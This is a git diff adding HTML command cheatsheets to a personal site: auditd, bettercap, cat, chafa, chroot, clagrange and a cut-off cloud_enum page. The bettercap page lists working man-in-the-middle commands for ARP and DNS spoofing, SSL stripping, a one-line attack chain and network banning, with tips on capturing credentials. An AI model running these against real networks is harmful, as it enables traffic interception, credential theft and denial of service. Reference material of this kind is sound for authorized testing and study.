      • auditctl -w /etc/ -p wa -k etc_changes - Watch directory
      • +
      +
        +
      • auditctl -w /usr/bin/ -p x -k usr_bin_exec - Watch executable execution
      • +
      +
        +
      • auditctl -w /var/log/ -p rwa -k log_access - Watch log directory
      • +
      +

      Watch Permissions

      +
        +
      • -p r - Read operations
      • +
      +
        +
      • -p w - Write operations
      • +
      +
        +
      • -p x - Execute operations
      • +
      +
        +
      • -p a - Attribute changes (permissions, ownership)
      • +
      +
      +

      System Call Rules

      +

      Basic Syntax

      +
        +
      • auditctl -a always,exit -S -F = -k - Rule format
      • +
      +

      Common System Calls

      +
        +
      • auditctl -a always,exit -S chmod -F auid>=1000 -k file_permission_change
      • +
      +
        +
      • auditctl -a always,exit -S chown -F auid>=1000 -k file_ownership_change
      • +
      +
        +
      • auditctl -a always,exit -S unlink -F auid>=1000 -k file_deletion
      • +
      +
        +
      • auditctl -a always,exit -S mount -k mount_operations
      • +
      +
        +
      • auditctl -a always,exit -S setuid -k privilege_escalation
      • +
      +
        +
      • auditctl -a always,exit -S setgid -k privilege_escalation
      • +
      +

      Rule Actions

      +
        +
      • always - Always generate audit record
      • +
      +
        +
      • never - Never generate audit record
      • +
      +

      Rule Lists

      +
        +
      • task - Per-task list (applied on fork/clone)
      • +
      +
        +
      • exit - Syscall exit list
      • +
      +
        +
      • user - Per-user list
      • +
      +
        +
      • exclude - Exclusion list
      • +
      +
      +

      Filter Fields

      +
        +
      • -F auid= - Audit user ID
      • +
      +
        +
      • -F uid= - User ID
      • +
      +
        +
      • -F gid= - Group ID
      • +
      +
        +
      • -F euid= - Effective user ID
      • +
      +
        +
      • -F pid= - Process ID
      • +
      +
        +
      • -F ppid= - Parent process ID
      • +
      +
        +
      • -F arch=b64 - 64-bit architecture
      • +
      +
        +
      • -F arch=b32 - 32-bit architecture
      • +
      +
        +
      • -F exit= - Exit value
      • +
      +
        +
      • -F success!=0 - Failed operations only
      • +
      +
        +
      • -F path= - File path
      • +
      +
        +
      • -F perm= - File permissions (rwa)
      • +
      +
      +

      Useful Rule Examples

      +

      Watch Critical System Files

      +
      # /etc/passwd
      +auditctl -w /etc/passwd -p wa -k passwd_changes
      +
      +# /etc/shadow
      +auditctl -w /etc/shadow -p wa -k shadow_changes
      +
      +# /etc/sudoers
      +auditctl -w /etc/sudoers -p wa -k sudoers_changes
      +
      +# /etc/hosts
      +auditctl -w /etc/hosts -p wa -k hosts_changes
      +

      Monitor Privilege Escalation

      +
      # Monitor setuid/setgid
      +auditctl -a always,exit -S setuid -S setgid -F auid>=1000 -k privilege_change
      +
      +# Monitor sudo usage
      +auditctl -w /usr/bin/sudo -p x -k sudo_execution
      +auditctl -w /usr/bin/su -p x -k su_execution
      +

      Monitor Network Configuration

      +
      # Network config files
      +auditctl -w /etc/network/ -p wa -k network_changes
      +
      +# Firewall rules
      +auditctl -w /etc/iptables/ -p wa -k firewall_changes
      +

      Monitor User Management

      +
      # User/group changes
      +auditctl -a always,exit -S useradd -S usermod -S userdel -k user_management
      +auditctl -a always,exit -S groupadd -S groupmod -S groupdel -k group_management
      +
      +

      Search Examples

      +

      Search by Key

      +
      ausearch -k passwd_changes -i
      +

      Search Failed Logins

      +
      ausearch -m LOGIN -sv no -i
      +

      Search File Access

      +
      ausearch -f /etc/shadow -i
      +

      Search by User

      +
      ausearch -ua 1000 -i
      +

      Search Today's Events

      +
      ausearch -ts today -i
      +
      +

      Configuration Files

      +

      /etc/audit/auditd.conf

      +
      # Log file location
      +log_file = /var/log/audit/audit.log
      +
      +# Log format (RAW or NOLOG)
      +log_format = RAW
      +
      +# Maximum log file size (MB)
      +max_log_file = 8
      +
      +# Action when disk is full
      +space_left_action = email
      +action_mail_acct = root
      +admin_space_left_action = suspend
      +disk_full_action = suspend
      +
      +# Number of log files to keep
      +num_logs = 5
      +

      /etc/audit/rules.d/audit.rules

      +
      # Delete all existing rules
      +-D
      +
      +# Buffer settings
      +-b 8192
      +
      +# Failure mode (0=silent, 1=printk, 2=panic)
      +-f 1
      +
      +# Make rules immutable (cannot be changed until reboot)
      +-e 2
      +
      +# Watch critical files
      +-w /etc/passwd -p wa -k passwd_changes
      +-w /etc/shadow -p wa -k shadow_changes
      +-w /etc/sudoers -p wa -k sudoers_changes
      +
      +

      Tips

      +
        +
      • Use meaningful keys (-k) for easier searching later
      • +
      +
        +
      • Test rules with auditctl before adding to permanent config
      • +
      +
        +
      • Monitor audit log size - rotate or truncate when needed
      • +
      +
        +
      • Use -i flag with ausearch for human-readable output
      • +
      +
        +
      • Filter by failed operations (-sv no) to find security issues
      • +
      +
        +
      • Regularly review audit logs with aureport
      • +
      +
        +
      • Set appropriate disk space limits to prevent log overflow
      • +
      +
        +
      • Use immutable rules (-e 2) in production for security
      • +
      +
        +
      • Watch executable directories to detect unauthorized binaries
      • +
      +
        +
      • Monitor sudo/su usage to track privilege escalation
      • +
      +
        +
      • Combine file watches with syscall rules for comprehensive monitoring
      • +
      +
        +
      • Use keys to categorize events for easier analysis
      • +
      +
        +
      • Check audit.log regularly to ensure auditing is working
      • +
      +
        +
      • Use ausearch with time ranges for forensic investigations
      • +
      +
        +
      • Archive old audit logs for compliance requirements
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/bettercap.html b/cheatsheets/bettercap.html new file mode 100644 index 0000000..585d7c6 --- /dev/null +++ b/cheatsheets/bettercap.html @@ -0,0 +1,315 @@ + + + + + + + + + + + bettercap Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      bettercap Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      bettercap is a powerful network attack and monitoring framework. It can perform ARP spoofing, DNS spoofing, credential harvesting, and various network attacks.

      +
      +

      Starting bettercap

      +
        +
      • bettercap - Start interactive session
      • +
      +
        +
      • bettercap -iface <interface> - Specify network interface
      • +
      +
        +
      • bettercap -eval "cmd1; cmd2" - Execute commands
      • +
      +
        +
      • bettercap -caplet <file> - Load caplet file
      • +
      +
        +
      • sudo bettercap - Start with root (required for most features)
      • +
      +
      +

      Core Commands

      +
        +
      • help - Show help
      • +
      +
        +
      • help <module> - Help for specific module
      • +
      +
        +
      • active - Show active modules
      • +
      +
        +
      • info - Show session info
      • +
      +
        +
      • version - Show version
      • +
      +
        +
      • exit / quit - Exit bettercap
      • +
      +
      +

      Network Discovery

      +
        +
      • net.probe on - Start network discovery
      • +
      +
        +
      • net.probe off - Stop network discovery
      • +
      +
        +
      • net.show - Show discovered hosts
      • +
      +
        +
      • net.recon on - Enable network recon
      • +
      +
        +
      • net.recon off - Disable network recon
      • +
      +
        +
      • set net.recon.sort true - Sort hosts by response time
      • +
      +
      +

      ARP Spoofing

      +
        +
      • arp.spoof on - Start ARP spoofing
      • +
      +
        +
      • arp.spoof off - Stop ARP spoofing
      • +
      +
        +
      • arp.spoof.internal true - Spoof internal traffic
      • +
      +
        +
      • arp.spoof.targets <ip> - Set target IP
      • +
      +
        +
      • arp.spoof.targets <ip1,ip2> - Set multiple targets
      • +
      +
        +
      • arp.spoof.fullduplex true - Full duplex mode
      • +
      +
        +
      • arp.ban on - Ban targets from network
      • +
      +
        +
      • arp.ban off - Stop banning targets
      • +
      +
      +

      DNS Spoofing

      +
        +
      • dns.spoof on - Start DNS spoofing
      • +
      +
        +
      • dns.spoof off - Stop DNS spoofing
      • +
      +
        +
      • dns.spoof.hosts <domain> - Spoof specific domain
      • +
      +
        +
      • dns.spoof.hosts "example.com->192.168.1.100" - Redirect domain to IP
      • +
      +
        +
      • set dns.spoof.all true - Spoof all DNS queries
      • +
      +
        +
      • set dns.spoof.domains "example.com,test.com" - Spoof multiple domains
      • +
      +
      +

      HTTP/HTTPS Proxy

      +
        +
      • http.proxy on - Start HTTP proxy
      • +
      +
        +
      • http.proxy off - Stop HTTP proxy
      • +
      +
        +
      • set http.proxy.port 8080 - Set proxy port (default 8080)
      • +
      +
        +
      • set http.proxy.sslstrip true - Enable SSL strip
      • +
      +
        +
      • https.proxy on - Start HTTPS proxy
      • +
      +
        +
      • https.proxy off - Stop HTTPS proxy
      • +
      +
        +
      • set https.proxy.port 8083 - Set HTTPS proxy port
      • +
      +
        +
      • set https.proxy.sslpem /path/to/cert.pem - Set SSL certificate
      • +
      +
      +

      Credential Harvesting

      +
        +
      • http.server on - Start HTTP server
      • +
      +
        +
      • set http.server.path /path/to/files - Set server path
      • +
      +
        +
      • set http.server.port 80 - Set server port
      • +
      +
        +
      • hstshijack/hstshijack - HTTPS downgrade attack
      • +
      +
      +

      WiFi Operations

      +
        +
      • wifi.recon on - Start WiFi reconnaissance
      • +
      +
        +
      • wifi.recon off - Stop WiFi reconnaissance
      • +
      +
        +
      • wifi.show - Show discovered access points
      • +
      +
        +
      • wifi.deauth <ap> - Deauthenticate clients
      • +
      +
        +
      • wifi.assoc <ap> - Associate with access point
      • +
      +
      +

      Event Logging

      +
        +
      • events.stream on - Start event stream
      • +
      +
        +
      • events.stream off - Stop event stream
      • +
      +
        +
      • events.show - Show captured events
      • +
      +
        +
      • events.clear - Clear events
      • +
      +
        +
      • events.ignore <filter> - Ignore events matching filter
      • +
      +
        +
      • events.feed <file> - Feed events to file
      • +
      +
      +

      Caplets

      +
        +
      • caplets.update - Update caplets
      • +
      +
        +
      • caplets.show - List available caplets
      • +
      +
        +
      • caplet <name> - Load caplet
      • +
      +
      +

      Common Examples

      +

      Basic ARP Spoofing

      +
      bettercap -iface eth0
      +# In bettercap prompt:
      +net.probe on
      +arp.spoof on
      +set arp.spoof.targets 192.168.1.100
      +

      DNS Spoofing

      +
      bettercap -iface eth0
      +# In bettercap prompt:
      +dns.spoof on
      +set dns.spoof.hosts "example.com->192.168.1.100"
      +

      HTTP Proxy

      +
      bettercap -iface eth0
      +# In bettercap prompt:
      +http.proxy on
      +set http.proxy.sslstrip true
      +

      WiFi Recon

      +
      bettercap -iface wlan0
      +# In bettercap prompt:
      +wifi.recon on
      +wifi.show
      +

      Complete Attack Chain

      +
      bettercap -iface eth0 -eval "net.probe on; arp.spoof on; dns.spoof on; http.proxy on; https.proxy on"
      +

      Ban Target from Network

      +
      bettercap -iface eth0
      +# In bettercap prompt:
      +arp.ban on
      +set arp.ban.targets 192.168.1.100
      +

      Load Caplet

      +
      bettercap -caplet caplets/http-ui.cap
      +
      +

      Tips

      +
        +
      • Always run bettercap with sudo for full functionality
      • +
      +
        +
      • Use net.probe to discover hosts before attacks
      • +
      +
        +
      • Combine ARP spoofing with HTTP proxy for traffic interception
      • +
      +
        +
      • Use DNS spoofing to redirect domains to attacker-controlled servers
      • +
      +
        +
      • Enable SSL strip to intercept HTTPS traffic (HTTP downgrade)
      • +
      +
        +
      • Use caplets for common attack scenarios
      • +
      +
        +
      • Check events stream for captured credentials and data
      • +
      +
        +
      • Use arp.ban to effectively disconnect targets from network
      • +
      +
        +
      • Always test on authorized networks only
      • +
      +
        +
      • WiFi operations require monitor mode interface
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/cat.html b/cheatsheets/cat.html new file mode 100644 index 0000000..051a85a --- /dev/null +++ b/cheatsheets/cat.html @@ -0,0 +1,151 @@ + + + + + + + + + + + cat Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      cat Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      cat (concatenate) displays file contents to stdout. One of the most fundamental Unix commands for reading files, combining files, and creating files.

      +
      +

      Basic Usage

      +
        +
      • cat file.txt - Display file contents
      • +
      +
        +
      • cat file1.txt file2.txt - Concatenate multiple files
      • +
      +
        +
      • cat file.txt | less - Pipe to pager
      • +
      +
        +
      • cat > newfile.txt - Create file (Ctrl+D to finish)
      • +
      +
        +
      • cat >> file.txt - Append to file
      • +
      +
      +

      Options

      +
        +
      • -n - Number all output lines
      • +
      +
        +
      • -b - Number non-blank lines
      • +
      +
        +
      • -s - Squeeze blank lines
      • +
      +
        +
      • -E - Show end of line with $
      • +
      +
        +
      • -T - Show tabs as ^I
      • +
      +
        +
      • -v - Show non-printing characters
      • +
      +
        +
      • -A - Equivalent to -vET
      • +
      +
      +

      Common Examples

      +

      Display File

      +
      cat file.txt
      +

      Show file contents.

      +

      Number Lines

      +
      cat -n file.txt
      +

      Display with line numbers.

      +

      Create File

      +
      cat > newfile.txt
      +(type content)
      +Ctrl+D
      +

      Create new file from stdin.

      +

      Append to File

      +
      cat >> file.txt
      +(type content)
      +Ctrl+D
      +

      Append content to file.

      +

      Concatenate Files

      +
      cat file1.txt file2.txt > combined.txt
      +

      Combine multiple files.

      +

      Show Non-Printing

      +
      cat -A file.txt
      +

      Show all characters including tabs and line endings.

      +

      Pipe to Other Commands

      +
      cat file.txt | grep pattern
      +

      Use cat in pipelines.

      +
      +

      Tips

      +
        +
      • Use -n to number lines for reference
      • +
      +
        +
      • Use -A to debug file formatting issues
      • +
      +
        +
      • Use > to create, >> to append
      • +
      +
        +
      • Essential for file inspection
      • +
      +
        +
      • Works great in pipelines
      • +
      +
        +
      • Use less or more for large files
      • +
      +
        +
      • One of the most basic Unix commands
      • +
      +
        +
      • Perfect for quick file viewing
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/chafa.html b/cheatsheets/chafa.html new file mode 100644 index 0000000..4f76404 --- /dev/null +++ b/cheatsheets/chafa.html @@ -0,0 +1,180 @@ + + + + + + + + + + + chafa Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      chafa Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      chafa is a terminal image viewer and converter. Converts images to ANSI art, Unicode blocks, or sixel graphics for display in terminals.

      +
      +

      Basic Usage

      +
        +
      • chafa <image> - Display image in terminal
      • +
      +
        +
      • chafa -f <format> <image> - Specify output format
      • +
      +
        +
      • chafa -s <size> <image> - Set output size
      • +
      +
        +
      • chafa -c <colors> <image> - Set color mode
      • +
      +
      +

      Output Formats

      +
        +
      • chafa -f symbols <image> - Unicode symbols (default)
      • +
      +
        +
      • chafa -f sixel <image> - Sixel graphics
      • +
      +
        +
      • chafa -f kitty <image> - Kitty terminal protocol
      • +
      +
        +
      • chafa -f iterm2 <image> - iTerm2 protocol
      • +
      +
        +
      • chafa -f none <image> - No output (for testing)
      • +
      +
      +

      Size Options

      +
        +
      • chafa -s <width>x<height> <image> - Set dimensions
      • +
      +
        +
      • chafa -s <size> <image> - Set size (width only, auto height)
      • +
      +
        +
      • chafa -s auto <image> - Auto size based on terminal
      • +
      +
        +
      • chafa -s max <image> - Maximum size
      • +
      +
      +

      Color Options

      +
        +
      • chafa -c 16 <image> - 16 colors
      • +
      +
        +
      • chafa -c 256 <image> - 256 colors
      • +
      +
        +
      • chafa -c full <image> - Full color (24-bit)
      • +
      +
        +
      • chafa -c none <image> - No color (monochrome)
      • +
      +
      +

      Display Options

      +
        +
      • chafa --animate <image> - Animate GIF/APNG
      • +
      +
        +
      • chafa --center <image> - Center image
      • +
      +
        +
      • chafa --bg <color> <image> - Set background color
      • +
      +
        +
      • chafa --fg <color> <image> - Set foreground color
      • +
      +
        +
      • chafa --dither <mode> <image> - Set dithering mode
      • +
      +
        +
      • chafa --threshold <value> <image> - Set threshold for symbols
      • +
      +
      +

      Common Examples

      +

      Basic Display

      +
      chafa image.png
      +

      Display image in terminal.

      +

      Custom Size

      +
      chafa -s 80x40 image.png
      +

      Display at specific dimensions.

      +

      Sixel Format

      +
      chafa -f sixel image.png
      +

      Use sixel graphics format.

      +

      Full Color

      +
      chafa -c full -s 100 image.png
      +

      Full color at 100 width.

      +

      Animated GIF

      +
      chafa --animate animation.gif
      +

      Display animated GIF.

      +

      Monochrome

      +
      chafa -c none image.png
      +

      Display in monochrome.

      +
      +

      Tips

      +
        +
      • Use -s auto for automatic sizing based on terminal
      • +
      +
        +
      • Use -c full for best color quality in modern terminals
      • +
      +
        +
      • Use -f sixel for better quality in terminals that support it
      • +
      +
        +
      • Use --animate to view animated images
      • +
      +
        +
      • Works great with image previewers in file managers
      • +
      +
        +
      • Can be piped to other commands for processing
      • +
      +
        +
      • Supports many image formats: PNG, JPEG, GIF, WebP, etc.
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/chroot.html b/cheatsheets/chroot.html new file mode 100644 index 0000000..c3ffc9f --- /dev/null +++ b/cheatsheets/chroot.html @@ -0,0 +1,309 @@ + + + + + + + + + + + chroot Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      chroot Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      chroot changes the apparent root directory for the current running process and its children. Used for system maintenance, creating isolated environments, and recovery operations.

      +
      +

      Basic Usage

      +
        +
      • chroot <newroot> <command> - Change root and run command
      • +
      +
        +
      • chroot <newroot> /bin/sh - Change root and start shell
      • +
      +
        +
      • chroot <newroot> /bin/bash - Change root and start bash
      • +
      +
        +
      • chroot <newroot> /usr/bin/env sh - Change root with env path
      • +
      +
      +

      Common Use Cases

      +

      System Recovery/Maintenance

      +
      # Boot from live CD/USB, mount root filesystem
      +mount /dev/sda2 /mnt
      +
      +# Mount necessary filesystems
      +mount --bind /dev /mnt/dev
      +mount --bind /proc /mnt/proc
      +mount --bind /sys /mnt/sys
      +
      +# Chroot into the system
      +chroot /mnt /bin/bash
      +

      Testing/Debugging

      +
      # Chroot into a directory with minimal system
      +chroot /path/to/root /bin/sh
      +
      +# Run specific command in chroot
      +chroot /path/to/root /usr/bin/ls -la /
      +
      +

      Required Setup Before chroot

      +

      Before using chroot, you typically need to:

      +
        +
      1. Mount the target filesystem
      2. +
      +
        +
      • * `mount /dev/sdaX /mnt` - Mount root partition
      • +
      +
        +
      1. Mount essential virtual filesystems
      2. +
      +
        +
      • * `mount --bind /dev /mnt/dev` - Bind device directory
      • +
      +
        +
      • * `mount --bind /proc /mnt/proc` - Bind proc filesystem
      • +
      +
        +
      • * `mount --bind /sys /mnt/sys` - Bind sys filesystem
      • +
      +
        +
      • * `mount --bind /dev/pts /mnt/dev/pts` - Bind pseudo-terminals (optional)
      • +
      +
        +
      • * `mount --tmpfs /mnt/run` - Mount tmpfs for /run (if needed)
      • +
      +
        +
      1. Copy network configuration (if needed)
      2. +
      +
        +
      • * `cp /etc/resolv.conf /mnt/etc/resolv.conf` - DNS resolution
      • +
      +
        +
      1. Ensure shell and binaries exist in new root
      2. +
      +
        +
      • * Check `/mnt/bin/sh`, `/mnt/bin/bash`, etc. exist
      • +
      +
      +

      Mounting Essential Filesystems

      +
        +
      • mount --bind /dev <newroot>/dev - Bind device directory
      • +
      +
        +
      • mount --bind /proc <newroot>/proc - Bind proc filesystem
      • +
      +
        +
      • mount --bind /sys <newroot>/sys - Bind sys filesystem
      • +
      +
        +
      • mount --bind /dev/pts <newroot>/dev/pts - Bind pseudo-terminals
      • +
      +
        +
      • mount --tmpfs /run <newroot>/run - Mount tmpfs for /run
      • +
      +
        +
      • mount -t tmpfs none <newroot>/tmp - Mount tmpfs for /tmp (optional)
      • +
      +
      +

      Practical Examples

      +

      System Recovery Session

      +
      # 1. Mount root filesystem
      +mount /dev/sda2 /mnt
      +
      +# 2. Mount virtual filesystems
      +mount --bind /dev /mnt/dev
      +mount --bind /proc /mnt/proc
      +mount --bind /sys /mnt/sys
      +mount --bind /dev/pts /mnt/dev/pts
      +
      +# 3. Copy network config (if needed)
      +cp /etc/resolv.conf /mnt/etc/resolv.conf
      +
      +# 4. Chroot and work
      +chroot /mnt /bin/bash
      +
      +# Inside chroot:
      +# - Fix boot issues
      +# - Update packages
      +# - Edit configuration files
      +# - Reinstall bootloader
      +
      +# 5. Exit chroot
      +exit
      +
      +# 6. Unmount everything
      +umount /mnt/dev/pts
      +umount /mnt/sys
      +umount /mnt/proc
      +umount /mnt/dev
      +umount /mnt
      +

      Package Management in Chroot

      +
      # Arch Linux
      +chroot /mnt pacman -Syu
      +
      +# Debian/Ubuntu
      +chroot /mnt apt update
      +chroot /mnt apt upgrade
      +
      +# Red Hat/CentOS/Fedora
      +chroot /mnt dnf update
      +
      +

      Exiting Chroot

      +
        +
      • exit - Exit shell (returns to original root)
      • +
      +
        +
      • Ctrl+D - Exit shell (same as exit)
      • +
      +
        +
      • Unmount all bind mounts before exiting
      • +
      +
      +

      Unmounting After Chroot

      +
        +
      • umount <newroot>/dev/pts - Unmount pseudo-terminals
      • +
      +
        +
      • umount <newroot>/sys - Unmount sys
      • +
      +
        +
      • umount <newroot>/proc - Unmount proc
      • +
      +
        +
      • umount <newroot>/dev - Unmount dev
      • +
      +
        +
      • umount <newroot>/run - Unmount run (if mounted)
      • +
      +
        +
      • umount <newroot> - Unmount root filesystem
      • +
      +

      If unmounting fails:

      +
        +
      • fuser -m <mountpoint> - Find processes using mount
      • +
      +
        +
      • fuser -km <mountpoint> - Kill processes using mount
      • +
      +
        +
      • lsof <mountpoint> - List open files on mount
      • +
      +
        +
      • umount -l <mountpoint> - Lazy unmount (unmount when not busy)
      • +
      +
      +

      Troubleshooting

      +

      "chroot: failed to run command '/bin/bash': No such file or directory"

      +
        +
      • Check that `/bin/bash` exists in the new root
      • +
      +
        +
      • Verify architecture matches (32-bit vs 64-bit)
      • +
      +
        +
      • Check library dependencies with `ldd /mnt/bin/bash`
      • +
      +

      "chroot: cannot change root directory to '/mnt': Operation not permitted"

      +
        +
      • chroot requires root privileges - use `sudo` or `su`
      • +
      +
        +
      • Verify the directory is actually mounted
      • +
      +
        +
      • Check filesystem permissions
      • +
      +

      Network Not Working in Chroot

      +
        +
      • Copy `/etc/resolv.conf` from host: `cp /etc/resolv.conf /mnt/etc/resolv.conf`
      • +
      +
        +
      • Bind mount `/etc/resolv.conf`: `mount --bind /etc/resolv.conf /mnt/etc/resolv.conf`
      • +
      +
        +
      • Ensure network is up in chroot if using network commands
      • +
      +
      +

      Tips

      +
        +
      • Always mount /dev, /proc, and /sys before chrooting for full functionality
      • +
      +
        +
      • Use `mount --bind` instead of copying files when possible (reflects host changes)
      • +
      +
        +
      • Copy or bind mount `/etc/resolv.conf` if you need DNS in chroot
      • +
      +
        +
      • Use `exit` to leave chroot, don't just close terminal
      • +
      +
        +
      • Unmount bind mounts in reverse order of mounting
      • +
      +
        +
      • Check library dependencies if binaries don't run: `ldd <binary>`
      • +
      +
        +
      • Use `arch-chroot` on Arch Linux for automatic setup of bind mounts
      • +
      +
        +
      • Create chroot environment with `debootstrap` (Debian/Ubuntu) or `pacstrap` (Arch)
      • +
      +
        +
      • Test chroot setup with simple command first: `chroot /mnt /bin/echo "Hello"`
      • +
      +
        +
      • Be careful - filesystem operations in chroot affect the actual system
      • +
      +
        +
      • Use chroot for system maintenance, recovery, building packages, and testing
      • +
      +
        +
      • Some distributions provide helper scripts: `arch-chroot` (Arch), `systemd-nspawn` (systemd)
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/clagrange.html b/cheatsheets/clagrange.html new file mode 100644 index 0000000..00b548e --- /dev/null +++ b/cheatsheets/clagrange.html @@ -0,0 +1,207 @@ + + + + + + + + + + + clagrange Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      clagrange Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      clagrange is a terminal-based Gemini client, part of the Lagrange project.

      +
      +

      Navigation

      +
        +
      • ↑ or k - Scroll up
      • +
      +
        +
      • ↓ or j - Scroll down
      • +
      +
        +
      • ← or h - Go back
      • +
      +
        +
      • → or l or Enter - Follow link / Go forward
      • +
      +
        +
      • Space - Scroll down one page
      • +
      +
        +
      • b - Scroll up one page
      • +
      +
        +
      • g - Go to top
      • +
      +
        +
      • G - Go to bottom
      • +
      +
        +
      • u - Up one directory level
      • +
      +
        +
      • / - Search
      • +
      +
        +
      • n - Next search result
      • +
      +
        +
      • N - Previous search result
      • +
      +
      +

      Link Navigation

      +
        +
      • Enter or → or l - Follow link under cursor
      • +
      +
        +
      • Tab - Next link
      • +
      +
        +
      • Shift+Tab - Previous link
      • +
      +
        +
      • 1-9 - Follow numbered link
      • +
      +
        +
      • f - Follow link (alternative)
      • +
      +
        +
      • o - Open URL prompt
      • +
      +
      +

      Tabs and Windows

      +
        +
      • t - New tab
      • +
      +
        +
      • T - New tab (with URL prompt)
      • +
      +
        +
      • w - Close tab
      • +
      +
        +
      • [ - Previous tab
      • +
      +
        +
      • ] - Next tab
      • +
      +
        +
      • 1-9 - Switch to tab number
      • +
      +
      +

      Page Operations

      +
        +
      • r - Reload page
      • +
      +
        +
      • R - Hard reload
      • +
      +
        +
      • s - Save page
      • +
      +
        +
      • S - Save page (with prompt)
      • +
      +
        +
      • i - Show page info
      • +
      +
        +
      • I - Show page info (detailed)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/clagrange/clagrange.ini (user config)
      • +
      +
        +
      • ~/.local/share/clagrange/ (data directory)
      • +
      +

      Example Key Bindings

      +

      Customize in config file:

      +
      [bindings]
      +scroll-up = k
      +scroll-down = j
      +go-back = h
      +go-forward = l
      +follow-link = Enter
      +new-tab = t
      +close-tab = w
      +reload = r
      +

      Common Settings

      +
      [ui]
      +theme = default
      +font-family = monospace
      +font-size = 12
      +
      +[network]
      +timeout = 30
      +max-redirects = 5
      +
      +

      Tips

      +
        +
      • Supports tabbed browsing
      • +
      +
        +
      • Mouse clicks can follow links
      • +
      +
        +
      • Themes and fonts configurable via config file
      • +
      +
        +
      • Supports bookmarks and history
      • +
      +
        +
      • Journaling features available
      • +
      +
        +
      • Content viewing adjustable via theme files
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/cloud_enum.html b/cheatsheets/cloud_enum.html new file mode 100644 index 0000000..206f4c7 --- /dev/null +++ b/cheatsheets/cloud_enum.html @@ -0,0 +1,205 @@ + + + + + + + + + + + cloud_enum Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      cloud_enum Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      cloud_enum is a multi-cloud OSINT tool for enumerating public resources in AWS, Azure, and GCP. It discovers storage buckets, apps, databases, and other cloud services based on keyword mutations.

      +
      +

      Basic Usage

      +
        +
      • cloud_enum -k <keyword> - Enumerate using keyword
      • +
      +
        +
      • python3 cloud_enum.py -k <keyword> - Run with Python
      • +
      +
      +

      Options

      +
        +
      • -k, --keyword - Base keyword for enumeration
      • +
      +
        +
      • -kf, --keyfile - File with keywords (one per line)
      • +
      +
        +
      • -m, --mutations - Mutations file for keyword variations
      • +
      +
        +
      • -b, --brute - Brute force with mutations file
      • +
      +
        +
      • -t, --threads - Threads for brute forcing (default 5)
      • +
      +
        +
      • -ns, --nameserver - Custom DNS server
      • +
      +
        +
      • -l, --logfile - Log output to file
      • +
      +
        +
      • -f, --format - Output format (json, csv)
      • +
      +
        +
      • --disable-aws - Disable AWS checks
      • +
      +
        +
      • --disable-azure - Disable Azure checks
      • +
      +
        +
      • --disable-gcp - Disable GCP checks
      • +
      +
        +
      • -qs, --quickscan - Quick scan (no mutations)
      • +
      +
      +

      What It Finds

      +

      AWS

      +
        +
